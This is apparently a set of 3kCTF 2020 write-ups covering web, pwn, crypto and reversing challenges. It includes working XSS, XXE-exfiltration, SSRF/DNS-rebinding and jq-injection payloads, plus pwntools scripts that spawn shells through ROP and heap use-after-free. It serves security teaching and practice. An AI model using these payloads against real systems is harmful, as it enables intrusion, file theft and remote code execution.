3kCTF 2020
xsser - 4 solves
by sqrtrev
Description:
challenge
Author: Dali
index.php
<?php
include('flag.php');
class User
{
public $name;
public $isAdmin;
public function __construct($nam)
{
$this->name = $nam;
$this->isAdmin=False;
}
}
ob_start();
if(!(isset($_GET['login']))){
$use=new User('guest');
$log=serialize($use);
header("Location: ?login=$log");
exit();
}
$new_name=$_GET['new'];
if (isset($new_name)){
if(stripos($new_name, 'script'))//no xss :p
{
$new_name = htmlentities($new_name);
}
$new_name = substr($new_name, 0, 32);
echo '<h1 style="text-align:center">Error! Your msg '.$new_name.'</h1><br>';
echo '<h1>Contact admin /req.php </h1>';
}
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
setcookie("session", $flag, time() + 3600);
}
$check=unserialize(substr($_GET['login'],0,56));
if ($check->isAdmin){
echo 'welcome back admin ';
}
ob_end_clean();
show_source(__FILE__);
There is ob_start();
on page, and this will make me display nothing with my parameters.
So, we need to break ob_start()
. When I searched for this, I found this document, https://dustri.org/b/intended-solutions-for-35c3ctf-2018-web-php.html
So, the payload for breaking ob_start()
will be O:4:"User":2:{s:4:"name";O:9:"Throwable":0:{};s:7:"isAdmin";b:0;}
Yeah It takes 500 Internal Error.
Now, we can write something what we want on page. This one will occur XSS.
And we can bypass the length limit like <img src=x onerror=eval(name) />
.
I'll code my server for open()
and set window.name
as payload.
After send this to bot, I can get flag.
3k{3asy_XsS_&_pHp_Ftw}
wwww - 2 solves (Second Blood)
by sqrtrev
Description:
Developing a complete application in 3 days was difficult for me, so I just installed the necessary configuration and files.
Do you think i still need to update my app?
"prove it :)"
challenge
* sort of bounty alike challenge
Author: TnMch, Dali
If you see the page, we will get this js code.
var _0x12f0=['C2v0uMvXDwvZDeHLywrLCG==','yxbWBgLJyxrPB24VEc13D3CTzM9YBs11CMXLBMnVzgvK','B3bLBG==','pd94BwWGDMvYC2LVBJ0Ims4WiIbLBMnVzgLUzZ0IvvrgltGIpZ4=','pgvTywLSpG==','DMfSDwu=','C2XPy2u=','phn1yNnJCMLIzt4=','q29UDgvUDc10ExbL','BgvUz3rO','zw1HAwW=','Afn1DxP1s2rRDKPLv2DQvW==','yxbPlNbOCa==','y2HHCKnVzgvbDa==','zNjVBunOyxjdB2rL','ue9tva==','pc9LBwfPBd4=','Eg1Spq==','pc9ZDwjZy3jPyMu+','BwfW','y2fSBa==','C2vUza==','AM9PBG==','z2v0rwXLBwvUDej5swq=','ChjVDg90ExbL'];(function(_0x2dce72,_0x12f09f){var _0x57c8e1=function(_0x25546b){while(--_0x25546b){_0x2dce72['push'](_0x2dce72['shift']());}};_0x57c8e1(++_0x12f09f);}(_0x12f0,0x124));var _0x57c8=function(_0x2dce72,_0x12f09f){_0x2dce72=_0x2dce72-0x0;var _0x57c8e1=_0x12f0[_0x2dce72];if(_0x57c8['fGHYAk']===undefined){var _0x25546b=function(_0x29e09c){var _0x470e4d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=',_0x393484=String(_0x29e09c)['replace'](/=+$/,'');var _0x4c9b99='';for(var _0x8636d7=0x0,_0x2cb8aa,_0x101f8d,_0xcd4247=0x0;_0x101f8d=_0x393484['charAt'](_0xcd4247++);~_0x101f8d&&(_0x2cb8aa=_0x8636d7%0x4?_0x2cb8aa*0x40+_0x101f8d:_0x101f8d,_0x8636d7++%0x4)?_0x4c9b99+=String['fromCharCode'](0xff&_0x2cb8aa>>(-0x2*_0x8636d7&0x6)):0x0){_0x101f8d=_0x470e4d['indexOf'](_0x101f8d);}return _0x4c9b99;};_0x57c8['bsjqpU']=function(_0x2d613b){var _0xc62bd=_0x25546b(_0x2d613b);var _0x748971=[];for(var _0x33ccac=0x0,_0x4e0fbd=_0xc62bd['length'];_0x33ccac<_0x4e0fbd;_0x33ccac++){_0x748971+='%'+('00'+_0xc62bd['charCodeAt'](_0x33ccac)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x748971);},_0x57c8['lPaZPW']={},_0x57c8['fGHYAk']=!![];}var _0x1a3709=_0x57c8['lPaZPW'][_0x2dce72];_0x1a3709===undefined?(_0x57c8e1=_0x57c8['bsjqpU'](_0x57c8e1),_0x57c8['lPaZPW'][_0x2dce72]=_0x57c8e1):_0x57c8e1=_0x1a3709;return _0x57c8e1;};function _0x42d338(_0xad840f,_0x2baeca){var _0x129300=_0xad840f[_0x57c8('0x11')];return Array[_0x57c8('0x7')][_0x57c8('0xe')][_0x57c8('0x3')](_0x2baeca)[_0x57c8('0x2')](function(_0x2fd7c5,_0x5adecd){return String[_0x57c8('0x16')](_0x2fd7c5[_0x57c8('0x15')](0x0)^_0xad840f[_0x5adecd%_0x129300][_0x57c8('0x15')](0x0));})[_0x57c8('0x5')]('');}function _0x2a1b34(){email=document[_0x57c8('0x6')](_0x57c8('0x12'))[_0x57c8('0xd')];var _0x3fd6ce=''+_0x57c8('0xb')+_0x57c8('0xf')+_0x57c8('0xc')+email+_0x57c8('0x18')+_0x57c8('0x1');_0x3fd6ce=btoa(_0x42d338(_0x57c8('0x13'),_0x3fd6ce));var _0x31c176=new XMLHttpRequest();_0x31c176[_0x57c8('0xa')](_0x57c8('0x17'),_0x57c8('0x14'),!![]);_0x31c176[_0x57c8('0x8')](_0x57c8('0x10'),_0x57c8('0x9'));var _0x39826c=_0x57c8('0x0')+escape(_0x3fd6ce);_0x31c176[_0x57c8('0x4')](_0x39826c);return'';}
And If we deobfuscate the code, we will get this.
function xor(key, value) {
var keyLen = key.length;
return Array.prototype.slice.call(value).map(function(char, idx) {
return String.fromCharCode(char.charCodeAt(0) ^ key[idx % keyLen].charCodeAt(0));
}).join('');
}
function signup() {
email = "sqrtrev@gmail.com";
var xml = `<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://php.vuln.live/"> ]><subscribe><email>` + email + `</email><sqrtrev>&xxe;</sqrtrev></subscribe>`;
xml = btoa(xor("hSuuzuKdkvJeWgjW", xml));
var xmlRequest = new XMLHttpRequest();
xmlRequest.open("POST", "api.php", true);
xmlRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
var body = "xml=" + escape(xml);
xmlRequest.send(body);
return '';
}
Now, It looks like a kind of XXE.
But If you try XXE to external address, You will get errors. It works only with localhost
.
While researching some skill, my teammates got /db
directory.
At the last of /db
, there is define.php located.
Let's see http://wwwweb.3k.ctf.to/define.php
we got
{"msg":"sid={sid_id_given}}","read":"\/define.php?sid={sid_id_given}","write":"\/define.php?sid={sid_id_given}&key=test&value=test"}
And after some tries, I realize we can read, write what we want on this page with sid
It's easy now. We can chain the xxe to http://localhost/define.php?sid=sid&key=asd&value=
for leaking file contents.
The final payload is below
function signup() {
var xml = `<!DOCTYPE r [\r\n <!ELEMENT r ANY >\r\n <!ENTITY % sp SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL2ZsYWciPjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly9sb2NhbGhvc3QvZGVmaW5lLnBocD9zaWQ9TmdwNlR0WnpyMnZKT0FvOHlRTUxHMGU1eFdhYlNxVUMmIzM4O2tleT14eGUmIzM4O3ZhbHVlPSVkYXRhOyI+Jz4="> %sp; %param1;\r\n]>\r\n<subscribe><email>&exfil;</email></subscribe>`;
xml = btoa(xor("hSuuzuKdkvJeWgjW", xml));
var xmlRequest = new XMLHttpRequest();
xmlRequest.open("POST", "api.php", true);
xmlRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
var body = "xml=" + escape(xml);
xmlRequest.send(body);
return '';
}
After this, we can read flag in define.php
3k{cL457rBpVxsJnRXNR9vW6uR4hbKszeFs}
sanity check - 483 solves
The flag was hidden in the last page of DO.pdf (just be careful when copypasting to remove any unicode characters)
3k{s4n1ty_ch3ck_fl4g_0000}
Linker Revenge - 9 Solves
by FeDEX
Menu based challenge with the option to:
- Add page
- Edit page
- Delete page
- View page
- Relogin
The vulnerability is a Use After Free, in the Edit method. When deleting a page, the pointer to the page is not set to NULL
and the check for editing is done via the page
pointer instead of check_pages
.
-
This vulnerability allows us to overwrite the
fd
pointer in a freed heap chunk and allocate a chunk in the.bss
. -
Now that we have control over the array of pointers I will first overwrite an entry in the
page
array with a GOT address in order to leak libc. -
Once we got a libc leak, we can overwrite an entry in the
page
array with the address ofenviron
in order to leak thestack
address. -
Once we got a stack leak, we can overwrite an entry in the
page
array with the address of the return value of themain
function. -
Now we can start building a ropchain to run mprotect(0x602000, 0x100, 0x7) and read(0, 0x602000, 0x100).
-
The final step consists of a shellcode which will perform:
- openat(0, './flag', 0)
- read('rax', 0x602700, 0x100)
- write(1, 0x602700, 0x100)
Exploit can be found HERE
reporter - 4 solves
by adragos
Very nice web challenge which involves DNS rebinding and LFD (at first I thought it was about XSS as the input is vulnerable to script injection). We start by looking at the source code provided.
We can see this snippet in backend.php:
if(@$_POST['deliver']){
$thisDoc=file_get_contents($dir.'/file.html');
$images = preg_match_all("/<img src=\"(.*?)\" /", $thisDoc, $matches);
foreach ($matches[1] as $key => $value) {
$thisDoc = str_replace($value , "data:image/png;base64,".base64_encode(fetch_remote_file($value)) , $thisDoc ) ;
}
The server is "preloading" the images by downloading the contents and base64 encoding and putting it in the img tag. Let's take a closer look at the fetch_remote_file function:
function fetch_remote_file($url) {
$config['disallowed_remote_hosts'] = array('localhost');
$config['disallowed_remote_addresses'] = array("0.0.0.0/8", "10.0.0.0/8", "100.64.0.0/10", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/29", "192.0.2.0/24", "192.88.99.0/24", "192.168.0.0/16", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "224.0.0.0/4", "240.0.0.0/4",);
$url_components = @parse_url($url);
if (!isset($url_components['scheme'])) {
return false;
}
if (@($url_components['port'])) {
return false;
}
if (!$url_components) {
return false;
}
if ((!empty($url_components['scheme']) && !in_array($url_components['scheme'], array('http', 'https')))) {
return false;
}
if (array_key_exists("user", $url_components) || array_key_exists("pass", $url_components)) {
return false;
}
if ((!empty($config['disallowed_remote_hosts']) && in_array($url_components['host'], $config['disallowed_remote_hosts']))) {
return false;
}
$addresses = get_ip_by_hostname($url_components['host']);
$destination_address = $addresses[0];
if (!empty($config['disallowed_remote_addresses'])) {
foreach ($config['disallowed_remote_addresses'] as $disallowed_address) {
$ip_range = fetch_ip_range($disallowed_address);
$packed_address = my_inet_pton($destination_address);
if (is_array($ip_range)) {
if (strcmp($ip_range[0], $packed_address) <= 0 && strcmp($ip_range[1], $packed_address) >= 0) {
return false;
}
} elseif ($destination_address == $disallowed_address) {
return false;
}
}
}
$opts = array('http' => array('follow_location' => 0,));
$context = stream_context_create($opts);
return file_get_contents($url, false, $context);
}
Basically, it checks that the url is a valid http/https URL, then checks the host to not be localhost or in any private ip range and then gets the file using file_get_contents.
By using a custom DNS server, we can have it first serve the normal IP (in this case 18.184.155.211, the ip of requestrepo.com) and on the next DNS request (when the script does file_get_contents) it will return 127.0.0.1
I'll first setup the DNS rebinding on https://requestrepo.com
5 subdomains should be enough for consistency in response
To trigger the replace, we need to intercept the requests and change the filecontent, not the mdcontent to our payload, like so:
A successful response should look like this:
We can see the base64 encoded content! Decoding it we get:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /secret_report</title>
</head>
<body>
<h1>Index of /secret_report</h1>
<table>
<tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
<tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td> </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="3ac45ca05705d39ed27d7baa8b70ecd560b69902.php">3ac45ca05705d39ed27d7baa8b70ecd560b69902</a></td><td align="right">2020-07-23 12:53 </td><td align="right"> 50 </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="63b4bacc828939706ea2a84822a4505efa73ee3e.php">63b4bacc828939706ea2a84822a4505efa73ee3e.php</a></td><td align="right">2020-07-13 13:24 </td><td align="right"> 14 </td><td> </td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
</body></html>
We can see that it's a directory and that directory listing is active
We then we can try to include check 63b4bacc828939706ea2a84822a4505efa73ee3e.php
and 3ac45ca05705d39ed27d7baa8b70ecd560b69902.php
from the web, but they don't contain the flag.
We can see that 63b4bacc828939706ea2a84822a4505efa73ee3e.php
is only 14 bytes long and also its output is 14 bytes long so it's a red herring (not the flag)
3ac45ca05705d39ed27d7baa8b70ecd560b69902.php
on the other hand has 50 bytes but only ~ 9 bytes of output. So we need to read the php code without executing it. Looking back at the fetch_remote_file
I spotted the following if:
if ((!empty($url_components['scheme']) && !in_array($url_components['scheme'], array('http', 'https')))) {
But what does empty do? From the PHP Manual we read that empty
Returns FALSE if var exists and has a non-empty, non-zero value. Otherwise returns TRUE.
The following values are considered to be empty:
"" (an empty string)
0 (0 as an integer)
0.0 (0 as a float)
"0" (0 as a string)
NULL
FALSE
array() (an empty array)
So if the scheme is "0", the AND will result in false and the second check won't be made. We can then treat
0://
as a directory and then just ..
out of it.
The final payload becomes: mdcontent=doesn't matter&filecontent=<img src="0://index.php/../../secret_report/3ac45ca05705d39ed27d7baa8b70ecd560b69902.php" />
Checking the report we get the base64 encoded php file:
Which decoded is:
<?php
//3k{ssrf_bug_f068b29b58ccd0}
?>
secret2
The flag is:
3k{ssrf_bug_f068b29b58ccd0}
pyzzle2 - 44 solves
by tcode2k16
Description:
A puzzle be a game, problem, or toy dat tests a personz ingenuity or knowledge. In a puzzle, tha solver is sposed ta fuckin put pieces together up in a logical way, up in order ta arrive all up in tha erect or funk solution of tha puzzle.
challenge
2nd flag : change it from 3K-text to 3k{text}
Continuing from where we left off, we need a way to visualize the STP file.
The file itself is quite readable. It consists of three sections Comment
, Graph
, and Coordinates
. The Coordinates
describes points and the Graph
tells us how to connect these points.
The line DD 144 1845 105
likely means to define a point with the id of 144
and the xy coordinate of (1845, 105)
While a line like E 29 30 1
tells us to draw a line between the point with id 29
and the point with id 30
I hacked together a python script using PIL to draw out the image:
from PIL import Image, ImageDraw
img = Image.new( 'RGB', (2000,200),color=(0,0,0))
draw = ImageDraw.Draw(img)
pixels = img.load()
edges = ['1 2','2 3','3 5','4 5','6 8','7 8','8 9','8 10','11 12','13 14','13 15','15 16','14 16','15 17','18 20','19 20','20 21','22 23','23 24','24 25','25 26','27 28','28 29','29 30','30 31','32 33','33 34','34 35','36 37','36 38','38 39','38 40','40 41','42 43','44 45','44 46','46 47','46 48','49 50','49 51','50 52','51 53','53 54','52 54','55 56','57 58','57 59','59 60','61 62','60 62','63 65','64 66','65 66','65 67','66 68','69 70','70 71','70 72','72 74','73 74','74 75','76 77','77 78','78 79','79 80','81 82','82 83','83 84','84 85','86 87','87 88','88 89','90 91','90 92','92 93','92 94','94 95','96 97','98 101','99 101','98 100','99 102','100 103','102 104','105 107','106 107','107 108','109 110','111 113','111 114','112 115','113 116','114 117','115 117','118 119','119 120','119 121','121 123','122 123','123 124','125 126','126 127','127 128','128 129','130 131','131 132','132 133','133 134','135 136','136 137','137 138','139 140','139 141','141 142','141 143','143 144']
edges = map(lambda x: map(int, x.split(' ')), edges)
print edges
points = ['1 5 5','2 55 5','3 5 55','4 5 105','5 55 105','6 65 5','7 115 5','8 65 55','9 65 105','10 115 105','11 125 55','12 175 55','13 185 5','14 235 5','15 185 55','16 235 55','17 185 105','18 245 5','19 295 5','20 270 55','21 270 105','22 355 5','23 405 5','24 380 55','25 355 105','26 405 105','27 415 5','28 465 5','29 440 55','30 415 105','31 455 105','32 475 5','33 475 55','34 475 105','35 525 105','36 535 5','37 585 5','38 535 55','39 585 55','40 535 105','41 585 105','42 595 105','43 645 105','44 655 5','45 705 5','46 655 55','47 705 55','48 655 105','49 715 5','50 765 5','51 715 55','52 765 55','53 715 105','54 765 105','55 775 105','56 825 105','57 835 5','58 885 5','59 835 55','60 885 55','61 835 105','62 885 105','63 895 5','64 945 5','65 895 55','66 945 55','67 895 105','68 945 105','69 955 5','70 980 5','71 1005 5','72 980 55','73 955 105','74 980 105','75 1005 105','76 1015 5','77 1065 5','78 1040 55','79 1015 105','80 1065 105','81 1075 5','82 1125 5','83 1100 55','84 1075 105','85 1125 105','86 1135 5 ','87 1135 55','88 1135 105','89 1185 105','90 1195 5','91 1245 5','92 1195 55','93 1245 55','94 1195 105','95 1245 105','96 1255 105','97 1305 105','98 1315 5','99 1365 5','100 1315 55','101 1340 55','102 1365 55','103 1315 55','104 1365 105','105 1375 5','106 1425 5','107 1400 55','108 1400 105','109 1435 105','110 1485 105','111 1495 5','112 1545 5','113 1495 5','114 1520 55','115 1545 55','116 1495 105','117 1545 105','118 1555 105','119 1580 5','120 1605 5','121 1580 55','122 1555 105','123 1580 105','124 1605 105','125 1615 5','126 1665 5','127 1640 5','128 1615 105','129 1665 105','130 1675 5','131 1725 5','132 1700 55','133 1675 105','134 1725 105','135 1735 5','136 1735 55','137 1735 105','138 1785 105','139 1795 5','140 1845 5','141 1795 55','142 1845 55','143 1795 105','144 1845 105']
points = map(lambda x: map(int, x.strip().split(' '))[1:], points)
print points
for each in edges:
a,b = each
p1 = points[a-1]
p2 = points[b-1]
draw.line([tuple(p1), tuple(p2)])
img.save('test.png')
This script is good enough to get us the second flag:
flag: 3k{PYZZLE_FO_SHIZZLE_MY_NIZZLE}
pyzzle1 - 83 solves
by tcode2k16
Description:
A puzzle be a game, problem, or toy dat tests a personz ingenuity or knowledge. In a puzzle, tha solver is sposed ta fuckin put pieces together up in a logical way, up in order ta arrive all up in tha erect or funk solution of tha puzzle.
challenge
2nd flag : change it from 3K-text to 3k{text}
By taking a look at the file and searching up some of the key terms like SimpleStatementLine
, we quickly realize that the given file is a LibCST concrete syntax tree.
Some documentation reading reveals that by accessing .code
on a syntax tree object, we can recover its source code.
Using this knowledge, I tweaked the file a bit:
from libcst import *
abc = Module(
...
)
print(abc.code)
Running this edited file gives us the source code:
import binascii
plaintext = "REDACTED"
def exor(a, b):
temp = ""
for i in range(n):
if (a[i] == b[i]):
temp += "0"
else:
temp += "1"
return temp
def BinaryToDecimal(binary):
string = int(binary, 2)
return string
# encryption
PT_Ascii = [ord(x) for x in plaintext]
PT_Bin = [format(y, '08b') for y in PT_Ascii]
PT_Bin = "".join(PT_Bin)
n = 26936
K1 = '...'
K2 = '...'
L1 = PT_Bin[0:n]
R1 = PT_Bin[n::]
f1 = exor(R1, K1)
R2 = exor(f1, L1)
L2 = R1
f2 = exor(R2, K2)
R3 = exor(f2, L2)
L3 = R2
R3 = '...'
L3 = '...'
cipher = L3+R3
# decryption (redacted)
plaintext = L6+R6
plaintext = int(plaintext, 2)
plaintext = binascii.unhexlify('%x' % plaintext)
print(plaintext)
We can see that some xor operations have been performed on the original plaintext. We can walk backward and undo all those changes:
R2 = L3
L2 = exor(exor(R3, R2), K2)
R1 = L2
L1 = exor(exor(K1, R1), R2)
plaintext = L1+R1
plaintext = int(plaintext, 2)
plaintext = binascii.unhexlify('%x' % plaintext)
plaintext = binascii.unhexlify(plaintext)
print(plaintext)
This yields the original file which contains our first flag:
33D32945 STP File, STP Format Version 1.0
SECTION Comment
Name "3k{almost_done_shizzle_up_my_nizzle}"
END
SECTION Graph
Nodes 144
Edges 116
E 1 2 1
...
END
SECTION Coordinates
DD 1 5 5
...
END
EOF
flag: 3k{almost_done_shizzle_up_my_nizzle}
one and a half man - 18 Solves
by sqrtrev
There is a BOF
but we cannot leak because there is no function for leaking.
So, I thought about how to get shell without leak. And that was syscall ROP
.
Unfortunately, there is no syscall gadget. So, I used a method: make syscall by modifying read@got
one byte.
If we modify read@got
as \x8f
, that position is syscall gadget's position.
Stage 1 - For getting payload, I did fake ebp
Stage 2 - I got payload what we need
Stage 3 - make read@got
to syscall gadget
Stage 4 - I did this for setting rax
to 59 (59 is execve).
from pwn import *
p = remote('one-and-a-half-man.3k.ctf.to', 8521)
#Stage 1
payload = 'A'*0xa + p64(0x601018+0x8+0xA) + p64(0x4005BF)
p.send(payload)
sleep(0.3)
#Stage 2
payload = 'A'*2 + p64(0x6010a2-0x48) + p64(0x4005BF) + p64(0x400496)
payload+= p64(0x400538) + p64(0x601018+0xA) + p64(0x4005BF)
payload+= p64(0x601050) + p64(0x4005BF) + p64(0x40068A)
payload+= p64(0x0) + p64(0x0) + p64(0x601018) + p64(0x6010a2)
payload+= p64(0x0) + p64(0x0) + p64(0x400670) + '/bin/sh\x00'
p.send(payload)
sleep(0.3)
#Stage 3
p.send('\x8f')
sleep(0.3)
#Stage 4
payload = 'A'*10 + p64(0x4005bf) + p64(0x40068a)
payload+= p64(0x0)*2 + p64(0x601018) + p64(0x6010a2) + '\x00'
p.send(payload)
p.interactive()
once upon a time - 18 solves
by adragos
We are given a C project with a Makefile to compile the binary, but we are also given the compiled binary (that's going to be useful later).
Checking the code we can see how the cipher works
for(i=0; i<lSize; i++){
get_next_byte(l_17, byte_17);
get_next_byte(l_25, byte_25);
sum_bytes(byte_17, byte_25, carry, sumArray, &carry);
bit_array_to_unsigned_char(sumArray, &temp_keystream);
memcpy(&temp_plaintext, buffer+i, sizeof(unsigned char));
switch (_mode) {
case ECB:
temp_ciphertext = temp_keystream ^ temp_plaintext;
break;
case CBC:
temp_plaintext ^= initialization_vector;
temp_ciphertext = temp_keystream ^ temp_plaintext;
initialization_vector = temp_ciphertext;
break;
case OFB:
temp_ciphertext = temp_keystream ^ initialization_vector;
initialization_vector = temp_ciphertext;
temp_ciphertext ^= temp_plaintext;
break;
case CFB:
temp_ciphertext = temp_keystream ^ initialization_vector;
temp_ciphertext ^= temp_plaintext;
initialization_vector = temp_ciphertext;
break;
}
//Output the ciphertext to the File
if(fwrite (&temp_ciphertext , sizeof(unsigned char), 1, oFile) < 1){
fprintf(stderr, "Error Writing (%c) at index.(%d) to Output File <%s>, Aborting.\n", temp_ciphertext, i, outfile);
return -5;
}
}
temp_plaintext is one char of the plaintext, we can see that the encryption is done 1 byte at a time with no other transformations. That means that this cipher is equivalent to a stream cipher (where the stream bytes are directly xored with the bytes of the plaintext), by recovering the stream with a known plaintext attack, we can decrypt the flag.
We can also spot this comment inside the main.c file
//Some random 40-bit Key
// TODO: redact key
BYTE key[40] = {0};
//some i.v.
unsigned char initialization_vector = 0xa2;
We can see that the original key was wiped out. But we have a compiled binary in the archive, maybe that still holds the original key? I wasn't bothered with actually reversing the binary, just encrypted a file containing null bytes of equal length with flag_encrypted file length and then just xored the two encrypted files to get the flag. I chose CBC as it is the most common mode used and by xoring the two files I got the flag:
3k{my_hands_are_registered_as_lethal_weapons_that_means_we_get_into_a_fight_i_accidentally_kill_you_i_go_to_jail}
microscopic - 25 solves
by adragos
We begin by checking the binary in IDA and then checking out the .data section
We can see that it's quite small and we can reason that the flag might be in dword_202020, but encrypted/encoded. We can check any cross references to dword_202020 to see how it's used.
I've renamed dword_202020 to ENCODED_FLAG for clarity
We can see that the algorithm is xoring our input with v4 (which we don't know) and then adding the index on case 3, we can assume that on case 4 it checks to see if our transformed input is equal to the bytes in ENCODED_FLAG
We know that the flag starts with 3k{
and so we can recover v4, if the v4 is constant then our job is done, if it isn't, then we have to reverse engineer the program further
Using ipython and xor from pwntools I was able to find out that the constant is 0x27. With this small script we can recover the flag
from pwn import xor
enc = [20,77,94,76,74,78,29,81,86,92,76,95,132,79,95,81,101,111,98,98,86,106,88,143,90,106,92,112,122,112,108,105,98,153,99,118,116,43,128]
enc = ''.join([chr(x) for x in enc])
x = 0x27
out = ''
for i,c in enumerate(enc):
out += xor(ord(c)-i, x)
print out
Prints out 3k{nan0mites_everywhere_everytime_ftw!}
We can even test the flag in the binary to see that it's right
Linker - 15 Solves
by sqrtrev
On function edit
, If It has a value on pages[v1]
, we can edit pages variable.
If you see empty_page
, It do free(pages[v1])
and do not initialize with NULL at pages[v1]
.
So, we can write some value on deleted heap section.
There is tcache working. So, I allocated and free seventh for filling tcache bin.
(Because we can use fastbin when the tcache bin is full)
I modified fd
at free chunk
for change memcpy
part to printf
to get FSB
for leaking libc and changed atoi
address to system
address.
from pwn import *
p = remote('linker.3k.ctf.to', 9654)
e = ELF('./linker')
def add(size):
p.sendlineafter('> ','1')
p.sendlineafter('size:',str(size))
def edit(idx,data):
p.sendlineafter('> ','2')
p.sendlineafter('dex:',str(idx))
p.sendafter('tent:',data)
def empty(idx):
p.sendlineafter('> ','3')
p.sendlineafter('dex:',str(idx))
def re():
p.sendlineafter('> ','4')
p.sendlineafter('size:\n','5')
p.sendafter('name:\n','%15$p')
for i in range(7):
add(0x60)
empty(0)
add(0x60)
add(0x60)
add(0x71)
empty(0)
edit(0,p64(0x6020C0))
add(0x60)
add(0x60)
edit(3,p64(0xff)*2+p64(0x0)*4+p64(e.got['memcpy'])+p64(e.got['atoi']))
edit(0,p64(e.plt['printf']))
re()
p.sendafter('name:\n','\n')
libc = int(p.recvuntil('W')[:-1],16) - 231 - 0x021ab0
system = libc + 0x04f4e0
print hex(libc)
edit(1,p64(system))
p.sendline('sh\x00')
p.interactive()
libcDB - 14 solves
by QSharp
Description:
pwning challenges without given libc can be a hussle
i made a libcDB as a service that can help resolve the libc version by symbols and their addresses
i havn't added all libc's yet, but thats enough to test it out
nc libcdb.3k.ctf.to 7777
* test account { Dead:pool }
When connecting to the provided address, we are given a login prompt and we can enter the credentials from the description resulting in the following prompt:
Authenticated {"users":{"username":"Dead","password":"pool"}}
__ _ _ ____ _____
| | |_| |_ ___| \| __ |
| |__| | . | _| | | __ -|
|_____|_|___|___|____/|_____|
as a service
Type .help for help
>
Notice the JSON at the beginning, I tried adding my own JSON, but it only allowed alphanumeric login and password.
.help
gives us a few options to choose from:
.help Print this help
.version Print versions
.search Search libcdb
.secret Print flag
Sadly, we cannot get the flag instantly by just executing the .secret command. And instead returns:
not admin
no flag for u
The .version
command gives us some information about what libc's are added to the database:
"ubuntu_libc6-dbg_2.4-1ubuntu12.3_amd64"
"ubuntu_libc6-dbg_2.4-1ubuntu12_amd64"
"ubuntu_libc6-i386_2.10.1-0ubuntu15_amd64"
The last feature, .search
is more of interest and has the following pattern: .search <*symbol> <*addr> <filter>
.<br>
An example search is .search fprintf 0x4b970
which gives us some nice information about the fprintf
function:
> .search fprintf 0x4b970
Found:
id 6acfaae0398dce58e1857599a274f6d8
name ubuntu_libc6-dbg_2.4-1ubuntu12.3_amd64
symbol fprintf
address 0x4b970
Found:
id fc1e12693e5762252bc44256d5a72506
name ubuntu_libc6-dbg_2.4-1ubuntu12_amd64
symbol fprintf
address 0x4b970
However, there is another paramater: <filter>
and when adding a non-alphanumeric character we get an error:
> .search fprintf 0x4b970 "
jq: error: syntax error, unexpected $end, expecting QQSTRING_TEXT or QQSTRING_INTERP_START or QQSTRING_END (Unix shell quoting issues?) at <top-level>, line 1:
. as $maindb | .libcDB[] | select(.symbol=="fprintf") | select(.address|contains("309616")) | ."
jq: error: try .["field"] instead of .field for unusually named fields at <top-level>, line 1:
. as $maindb | .libcDB[] | select(.symbol=="fprintf") | select(.address|contains("309616")) | ."
jq: 2 compile errors
This gives us some more information about the application and that it uses jq
, additionaly we get the complete query. <br>
After reading a bit about jq
we can construct our own query.<br>
By just guessing that the object where the users are stored are in the same $maindb
(Thanks to the JSON we got when logging in), we can create a query like this: ,{name:.[]|$maindb.users|tostring}
and leak the complete users db
.<br>
(Additionally, we could leak the complete db with ,{name:.[]|$maindb|tostring}
, but it's huge).<br>
Final Payload: .search fprintf 0x4b970 ,{name:.[]|$maindb.users|tostring}
. Resulting into the users object:
[
{
"username": "3k",
"password": "notaflag"
},
{
"username": "James",
"password": "Hetfield"
},
{
"username": "Lars",
"password": "Ulrich"
},
{
"username": "Dead",
"password": "pool"
},
{
"username": "admin",
"password": "v3ryL0ngPwC4nTgu3SS0xfff"
},
{
"username": "jim",
"password": "carrey"
}
]
And so logging in with admin:v3ryL0ngPwC4nTgu3SS0xfff
<br> we get the flag by the .secret
command: 3k{jq_is_r3ally_HelpFULL_3af4bcd97f5}
image uploader - 5 solves (Second Blood)
by sqrtrev
Description:
challenge
source
Author: dali
Code review:
index.php - we can get image via file_get_contents function(Even, php:// is not banned)
old.php - there are two classes cl1, cl2
upload.php - check is this real image file with getimagesize and upload.
The trigger:
index.php - I can read .phar file like this php://filter/read/resource=phar://
old.php - If I can use this classes, I can inject a data what I want(Arbitray Code Execution)
upload.php - Just upload a jpg phar image. I'll use https://github.com/kunte0/phar-jpg-polyglot
Analysis of old.php:
class c1 - File management using class c2
How to use:
$c1 = new cl1((new cl2), filename, expire)
Also, __desturct calls $this->save(); We can use for PHP Object Injection
class c2 - File store
the filename will be $this->options['prefix'].$filename because of $this->getCacheKey()
$data contains exit(); So, we need to bypass this one.
Exploit:
$cl1->complete variable is send to cl2->set. So, I'll use $this->complete for inserting payload.
$c1->autosave have to be false for do $this->save on __destruct()
$cl2->options['prefix'] have to be "php://filter/write=convert.base64-decode/resource="
Because we need to bypass exit(). So, I'll decode the contents of $data as base64.
$cl2->options['serialize'] will be 'serialize' because of below reason
$data = $this->serialize($value);
=>
protected function serialize($data): string {
